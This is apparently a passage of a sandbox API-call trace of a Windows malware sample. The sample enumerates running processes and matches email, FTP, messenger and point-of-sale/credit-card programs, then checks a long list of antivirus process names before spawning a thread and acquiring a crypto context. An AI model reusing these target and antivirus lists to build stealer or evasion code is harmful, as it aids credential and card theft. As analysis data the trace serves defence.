lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0295.480] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0295.526] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0295.588] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0295.632] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0295.667] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0295.718] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0295.760] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0295.807] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0295.854] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0295.901] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0295.948] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0295.972] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0295.995] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0296.042] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0296.089] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0296.171] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0296.213] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0296.260] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0296.354] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0296.401] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0296.444] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0296.480] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0296.520] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0296.558] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0296.604] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0296.642] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0296.682] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0296.724] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0296.807] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0296.854] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0296.901] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0296.947] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0296.983] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0297.019] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0297.057] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0297.104] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nv-ambien-sharp.exe")) returned 1 [0297.182] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lancaster.exe")) returned 1 [0297.229] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="eos-says.exe")) returned 1 [0297.274] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0297.385] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.432] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0297.475] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0297.510] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0297.558] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0297.604] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0297.652] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SppExtComObj.Exe")) returned 1 [0297.699] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=8, dwFlags=0x0, szExeFile="slui.exe")) returned 1 [0297.745] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe40, pcPriClassBase=8, dwFlags=0x0, szExeFile="xafpqko.exe")) returned 1 [0297.792] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0297.829] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0297.869] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="PING.EXE")) returned 1 [0297.912] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="slui.exe")) returned 1 [0297.932] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1348, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0298.004] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1348, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 0 [0298.008] CloseHandle (hObject=0x324) returned 1 [0298.008] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0298.009] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f728 | out: hHeap=0x47d0000) returned 1 [0298.009] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f718 | out: hHeap=0x47d0000) returned 1 [0298.009] lstrlenA (lpString="avgcsrvx.exe") returned 12 [0298.011] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f770 | out: hHeap=0x47d0000) returned 1 [0298.011] lstrlenA (lpString="avgsvcx.exe") returned 11 [0298.011] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f788 | out: hHeap=0x47d0000) returned 1 [0298.011] lstrlenA (lpString="avgcsrva.exe") returned 12 [0298.011] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f7a0 | out: hHeap=0x47d0000) returned 1 [0298.011] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f700 | out: hHeap=0x47d0000) returned 1 [0298.011] lstrlenA (lpString="MsMpEng.exe") returned 11 [0298.011] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f7b8 | out: hHeap=0x47d0000) returned 1 [0298.011] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f758 | out: hHeap=0x47d0000) returned 1 [0298.011] lstrlenA (lpString="mcshield.exe") returned 12 [0298.011] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f7e0 | out: hHeap=0x47d0000) returned 1 [0298.011] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f7d0 | out: hHeap=0x47d0000) returned 1 [0298.012] lstrlenA (lpString="avp.exe") returned 7 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f818 | out: hHeap=0x47d0000) returned 1 [0298.012] lstrlenA (lpString="kavtray.exe") returned 11 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f828 | out: hHeap=0x47d0000) returned 1 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f740 | out: hHeap=0x47d0000) returned 1 [0298.012] lstrlenA (lpString="egui.exe") returned 8 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f850 | out: hHeap=0x47d0000) returned 1 [0298.012] lstrlenA (lpString="ekrn.exe") returned 8 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f868 | out: hHeap=0x47d0000) returned 1 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f840 | out: hHeap=0x47d0000) returned 1 [0298.012] lstrlenA (lpString="bdagent.exe") returned 11 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f8b0 | out: hHeap=0x47d0000) returned 1 [0298.012] lstrlenA (lpString="vsserv.exe") returned 10 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f8c8 | out: hHeap=0x47d0000) returned 1 [0298.012] lstrlenA (lpString="vsservppl.exe") returned 13 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f8e0 | out: hHeap=0x47d0000) returned 1 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f7f8 | out: hHeap=0x47d0000) returned 1 [0298.012] lstrlenA (lpString="AvastSvc.exe") returned 12 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f8f8 | out: hHeap=0x47d0000) returned 1 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f898 | out: hHeap=0x47d0000) returned 1 [0298.012] lstrlenA (lpString="coreServiceShell.exe") returned 20 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f948 | out: hHeap=0x47d0000) returned 1 [0298.012] lstrlenA (lpString="PccNTMon.exe") returned 12 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f968 | out: hHeap=0x47d0000) returned 1 [0298.012] lstrlenA (lpString="NTRTScan.exe") returned 12 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f980 | out: hHeap=0x47d0000) returned 1 [0298.012] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f880 | out: hHeap=0x47d0000) returned 1 [0298.013] lstrlenA (lpString="SAVAdminService.exe") returned 19 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f9a8 | out: hHeap=0x47d0000) returned 1 [0298.013] lstrlenA (lpString="SavService.exe") returned 14 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484fb28 | out: hHeap=0x47d0000) returned 1 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f998 | out: hHeap=0x47d0000) returned 1 [0298.013] lstrlenA (lpString="fshoster32.exe") returned 14 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484fb10 | out: hHeap=0x47d0000) returned 1 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484ffd0 | out: hHeap=0x47d0000) returned 1 [0298.013] lstrlenA (lpString="WRSA.exe") returned 8 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484fb88 | out: hHeap=0x47d0000) returned 1 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f910 | out: hHeap=0x47d0000) returned 1 [0298.013] lstrlenA (lpString="vkise.exe") returned 9 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f9f0 | out: hHeap=0x47d0000) returned 1 [0298.013] lstrlenA (lpString="isesrv.exe") returned 10 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484fa20 | out: hHeap=0x47d0000) returned 1 [0298.013] lstrlenA (lpString="cmdagent.exe") returned 12 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484fb40 | out: hHeap=0x47d0000) returned 1 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484fba0 | out: hHeap=0x47d0000) returned 1 [0298.013] lstrlenA (lpString="ByteFence.exe") returned 13 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484fb70 | out: hHeap=0x47d0000) returned 1 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f920 | out: hHeap=0x47d0000) returned 1 [0298.013] lstrlenA (lpString="MBAMService.exe") returned 15 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484fa38 | out: hHeap=0x47d0000) returned 1 [0298.013] lstrlenA (lpString="mbamgui.exe") returned 11 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484fbb8 | out: hHeap=0x47d0000) returned 1 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f930 | out: hHeap=0x47d0000) returned 1 [0298.013] lstrlenA (lpString="fmon.exe") returned 8 [0298.013] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484fa08 | out: hHeap=0x47d0000) returned 1 [0298.014] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x47d6b18 | out: hHeap=0x47d0000) returned 1 [0298.014] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x800) returned 0x47d6b18 [0298.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b24a81, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x287fb14 | out: lpThreadId=0x287fb14*=0x6d0) returned 0x324 [0298.015] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x44f0048 | out: hHeap=0x46c0000) returned 1 [0298.015] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x3a98) Thread: id = 375 os_tid = 0xbcc Thread: id = 377 os_tid = 0x135c Thread: id = 379 os_tid = 0x6d0 [0298.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bcf780 | out: lpSystemTimeAsFileTime=0x2bcf780*(dwLowDateTime=0x972a861, dwHighDateTime=0x1d6747e)) [0298.085] strncpy (in: _Dest=0x2b476b8, _Source="YN", _Count=0x1f | out: _Dest="YN") returned="YN" [0298.085] strncmp (_Str1="YN", _Str2="YN", _MaxCount=0x1f) returned 0 [0298.195] strncpy (in: _Dest=0x2b475d8, _Source="YNNNNNN", _Count=0x1f | out: _Dest="YNNNNNN") returned="YNNNNNN" [0298.195] strncmp (_Str1="YNNNNNN", _Str2="YNNNNNN", _MaxCount=0x1f) returned 0 [0298.195] strncpy (in: _Dest=0x2b47698, _Source="YNNN", _Count=0x1f | out: _Dest="YNNN") returned="YNNN" [0298.195] strncmp (_Str1="YNNN", _Str2="YNNN", _MaxCount=0x1f) returned 0 [0298.195] QueryPerformanceFrequency (in: lpFrequency=0x2b48958 | out: lpFrequency=0x2b48958*=100000000) returned 1 [0298.195] QueryPerformanceCounter (in: lpPerformanceCount=0x2b48950 | out: lpPerformanceCount=0x2b48950*=39418312670) returned 1 [0298.195] CryptAcquireContextA (phProv=0x2b47b4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000) Process: id = "28" image_name = "explorer.exe" filename = "c:\\windows\\syswow64\\explorer.exe" page_root = "0xb237000" os_pid = "0x794" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0x1348" cmd_line = "C:\\WINDOWS\\SysWOW64\\explorer.exe" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], 